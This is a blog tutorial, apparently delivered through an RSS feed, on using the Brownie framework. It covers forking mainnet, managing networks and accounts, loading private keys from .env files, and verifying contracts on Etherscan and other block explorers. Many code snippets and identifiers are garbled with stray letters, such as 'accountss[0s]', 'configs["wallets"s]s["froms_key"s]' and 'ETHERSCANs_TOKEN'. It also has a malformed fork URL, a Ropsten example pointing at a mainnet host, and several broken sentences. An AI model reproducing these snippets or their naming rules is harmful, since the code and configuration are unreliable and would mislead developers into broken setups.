&lt;p&gt;&lt;strong&gt;Let me teach you how you can add a forked network:&lt;/strong&gt; e That means, when you want to test your smart contract &lt;em&gt;you can literally grab a exact copy of the current ethereum mainnet and paste it for your personal use&lt;/em&gt;, &lt;strong&gt;so all the contracts that are in the mainnet you can use it in your project for testing without deploying mocks.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;$ brownie networks add development my-supers_mainnet-fork host=http://127.0.0.1 fork=http//:eth-mainnnet.alchemyapi/v2/ accounts=10 mnemonic=brownie port=8585&lt;/code&gt;&lt;/p&gt;
&lt;h3&gt;Deleting an existing network.&lt;/h3&gt;
&lt;p&gt;If you want to delete a default network or a network you created, you just have to type:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;$ brownie networks delete &amp;lt;id_of_the_network&amp;gt;&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Remember you can know the id of all the networks by typing:&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;$ brownie networks list true&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;$ brownie networks delete &amp;lt;ftm-main-fork&amp;gt;&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn.hashnode.com/res/hashnode/image/upload/v1646365126644/gtT7vdFKt.PNG&quot; alt=&quot;Deleting network example&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;Updating an existing network.&lt;/h3&gt;
&lt;p&gt;If you want to change some value of a network, but without rewriting the entire network, you just need to type:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;$ brownie networks modify &amp;lt;id_of_the_network&amp;gt; key=value&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Example: Let&apos;s say you want to change the gas limit of the xdai network&lt;/p&gt;
&lt;p&gt;You just look for the network id and the element of the network you want to change and type:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;$ brownie networks modify xdai-main-fork gas_limit=210000000&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn.hashnode.com/res/hashnode/image/upload/v1646365524146/_QRjaA1Di.PNG&quot; alt=&quot;dos.PNG&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Remember not write when defining the key pair&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Good:&lt;/strong&gt; gass_lilmit=210000000 &lt;strong&gt;bad:&lt;/strong&gt; gass_limit = 210000000&lt;/p&gt;
&lt;p&gt;If you want to see more information about networks in the CLI you can always type:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;$ brownie networks --help&lt;/code&gt;&lt;/p&gt;
&lt;h2&gt;Working with accounts.&lt;/h2&gt;
&lt;p&gt;Brownie has a special object that allows us to interact with accounts (EOA) &lt;strong&gt;with this we can query a balance or send ether from a specific account.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;For development purposes, brownie by default give us 10 accounts with false ether that we can use to test our smart contract in our ganache blockchain.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Brownie also allow us to add accounts from our private key to the list of account in the brownie environment.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;You can see your list of accounts by typing:&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;$ brownie accounts list&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn.hashnode.com/res/hashnode/image/upload/v1643909510496/rXqzH_3Yv.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;You probably wouldn&apos;t have any account because first you need to add it.&lt;/p&gt;
&lt;p&gt;You can add an account in the list by using:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;$ brownie accounts generate&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;This will generate a random private key, and make the account available as .&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Brownie will ask you to choose a password to encrypt this account, so it is safe.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Also, you can import an account using its private key:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;$ brownie accounts new&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;You will be asked to input the private key, and to choose a password. The account will then be available as .&lt;/p&gt;
&lt;p&gt;You can see all the different method for manage account in brownie &lt;a href=&quot;https://eth-brownie.readthedocs.io/en/stable/account-management.html#local-accounts&quot;&gt;here&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;But wait, this is not dangerous? Could everyone see my private key?&lt;/strong&gt; Don&apos;t worry, browne encrypts your private key, so when you want to use that account brownie will ask you for your password to send transactions.&lt;/p&gt;
&lt;p&gt;To access those accounts in your scripts, you just need to import the &lt;code&gt;account&lt;/code&gt; object from brownie.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;You can use the fake accounts that brownie generates.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;from brownie import accounts&lt;/p&gt;
&lt;p&gt;mys_accounts_1 = accountss[0s] mys_accounts_2 = accountss[1s] mys_accounts_3 =accountss[9s]&lt;/p&gt;
&lt;p&gt;Or, &lt;em&gt;you can load one of your accounts in your accounts list by using:&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;from brownie import accounts&lt;/p&gt;
&lt;p&gt;mys_personals_account = accounts.load(id)&lt;/p&gt;
&lt;p&gt;You provide the id of the account, and when sending the transactions brownie will ask you for the password of that account.&lt;/p&gt;
&lt;p&gt;Also you can import the account by using the private key of the account directly, using the &lt;code&gt;add&lt;/code&gt; method.&lt;/p&gt;
&lt;p&gt;accounts.add(‘my privates_key’)&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;You can mix this method, using the&lt;/strong&gt; &lt;code&gt;.env&lt;/code&gt; &lt;strong&gt;file.&lt;/strong&gt; There you can store your private key, so you ensure it is not going to be uploaded to github.&lt;/p&gt;
&lt;p&gt;And then, in your brownie config file you can add a new section to store your private key using the name of that environment variable.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;(remember you need to set the section”dotenv” to points to the .env file” so you can use environment variables in your brownie config file in that format)&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn.hashnode.com/res/hashnode/image/upload/v1643909984012/jsrNNx9sl.png&quot; alt=&quot;Brownie config file with new sections to store my private key.&quot; /&gt;&lt;/p&gt;
&lt;p&gt;And then, you grab your account using the &lt;code&gt;conifg&lt;/code&gt; and &lt;code&gt;accounts&lt;/code&gt; object&lt;/p&gt;
&lt;p&gt;from brownie import config, account&lt;/p&gt;
&lt;p&gt;mys_accounts_froms_privates_key = accounts.add(configs[&quot;wallets&quot;s]s[&quot;froms_key&quot;s])&lt;/p&gt;
&lt;p&gt;You can read more about how to work with accounts &lt;a href=&quot;https://eth-brownie.readthedocs.io/en/stable/core-accounts.html#working-with-accounts&quot;&gt;here.&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;Function entry point.&lt;/h2&gt;
&lt;p&gt;&lt;em&gt;This is something to take into account when you are writing your scripts.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Brownie looks for a function called&lt;/strong&gt; &lt;code&gt;main()&lt;/code&gt; &lt;strong&gt;as an entry point to run your scripts&lt;/strong&gt;, so if that function does not exist, you will get an error like this&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn.hashnode.com/res/hashnode/image/upload/v1643910288185/bhmVOVun1.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;You can read more about that &lt;a href=&quot;https://eth-brownie.readthedocs.io/en/stable/interaction.html?highlight=scripts#writing-scripts&quot;&gt;here.&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;Verify your contracts on Etherscan automatically&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;You can verify all the contract source code programmatically using brownie&lt;/strong&gt;, tis really easy.&lt;/p&gt;
&lt;p&gt;First, you need to create a Etherscan account&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://etherscan.io/register&quot;&gt;Register on Etherscan.&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Its like every registration process&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Then, you need to create an API key to be able to interact with the Etherscan API.&lt;/p&gt;
&lt;p&gt;In the nav bar, go to your profile and click in API keys.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn.hashnode.com/res/hashnode/image/upload/v1643910798046/Q6BuWq4PK.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Finally, you just need to add a new API key&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn.hashnode.com/res/hashnode/image/upload/v1643910897877/xIXrp_ouN.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Add that private key in your &lt;code&gt;.env&lt;/code&gt; file under.&lt;/p&gt;
&lt;p&gt;export ETHERSCANs_TOKEN=&amp;lt;mys_etherscans_token&amp;gt;&lt;/p&gt;
&lt;p&gt;And for automatically verification you just need to add the argument &lt;code&gt;publish_source=True&lt;/code&gt; to the deploy function&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from brownie import MyContractToken, accounts, config

my_account =  accounts.add(config[&quot;wallets&quot;][&quot;from_key&quot;])

MyContractToken.deploy(&quot;My Contract Token&quot;, &quot;CLT&quot;, 18, 1e28, {&apos;from&apos;: my_account}, publish_source=True)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And you just need to run your deploy script.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;$ brownie run scripts/deploy.py --network rinkeby&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Ta da! Your contract is already verified on Etherscan!&lt;/p&gt;
&lt;p&gt;It is even possible to verify contracts that you deployed earlier, as long as you didn’t change any of the code. This is done with:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;MyContractToken.publish_source(deployed_contract)

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;You can read more about that &lt;a href=&quot;https://eth-brownie.readthedocs.io/en/stable/deploy.html#verifying-deployment-source-code&quot;&gt;here.&lt;/a&gt;&lt;/p&gt;
&lt;h3&gt;Verifying contracts on other blockchains.&lt;/h3&gt;
&lt;p&gt;Let&apos;s say you want to verify your contract on polygon, or BSC, or Fantom or whatever EVM Based chain.&lt;/p&gt;
&lt;p&gt;The process is basically the same, you just need to go to the block explorer of that chain&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://bscscan.com&quot;&gt;Binance explorer&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://polygonscan.com/&quot;&gt;Polygon explorer&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://arbiscan.io/&quot;&gt;Arbitrum explorer&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Create an account and create an API key that you have to paste in your .env file.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;If you get lost, follow the above tutorial using etherscan, as I said, the process is the same for most of the block explorers out there.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;For name that env variable you have to take the name of the block explorer + “s_” + “TOKEN”&lt;/p&gt;
&lt;p&gt;Example, let&apos;s say you have your polygon scan API,&lt;/p&gt;
&lt;p&gt;The env variable should be&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;  export POLYGONSCAN_TOKEN=&amp;lt;your_token&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;For know the name of a specific explorer in the in the brownie convention, use the list of accounts and look for the &lt;code&gt;explorer&lt;/code&gt; key pair the see its name&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;But, how does Brownie know it has to use Etherscan or any other block explorer to verify the contract?&lt;/p&gt;
&lt;p&gt;Well, remember the &lt;code&gt;networks&lt;/code&gt; object, in where we have a lot of networks to work with and all the especific &lt;a href=&quot;#network-elements&quot;&gt;elements that a network have.&lt;/a&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;live:
  - name: Ethereum
    networks:
      - name: Ropsten (Infura)
        chainid: 3
        id: ropsten
        host: https://mainnet.infura.io/v3/$WEB3_INFURA_PROJECT_ID
        explorer: https://api-ropsten.etherscan.io/api
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;In that object there is a &lt;code&gt;explorer&lt;/code&gt; section that allow us to set the explorer to see the transactions.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Brownie will knows that you would use the explorer that is under that section to verified your contracts&lt;/strong&gt;, and also give the links to be able to verify the transactions.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;That&apos;s all folks.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;I hope this article was helpful for you.&lt;/p&gt;
&lt;p&gt;If you have any comment or suggestions, please leave it in the comments section.&lt;/p&gt;
&lt;p&gt;You can follow me on twitter &lt;a href=&quot;https://twitter.com/KevBto&quot;&gt;@0bkevin&lt;/a&gt; and DM me, I’m always happy to talk and know more people in this amazing community.&lt;/p&gt;
&lt;h2&gt;Sources.&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=M576WGiDBdQ&quot;&gt;Free Code Camp Solidity course by Patrick Collins&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://eth-brownie.readthedocs.io/en/stable/index.html&quot;&gt;The Brownie documentation&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://iamdefinitelyahuman.medium.com/getting-started-with-brownie-part-1-9b2181f4cb99&quot;&gt;Ben Hauser Borwnie guides&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://matnad.medium.com/how-to-verify-your-brownie-project-on-etherscan-82d6086644cf&quot;&gt;How to verify your Brownie Project on Etherscan by matnad&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://chain.link/bootcamp/brownie-setup-instructions&quot;&gt;Setup Instructions: Brownie Track by Chainlink&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/pypa/pipx#pipx--install-and-run-python-applications-in-isolated-environments&quot;&gt;pipx documentation&lt;/a&gt; Example of deleting a network&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
</content:encoded></item></channel></rss>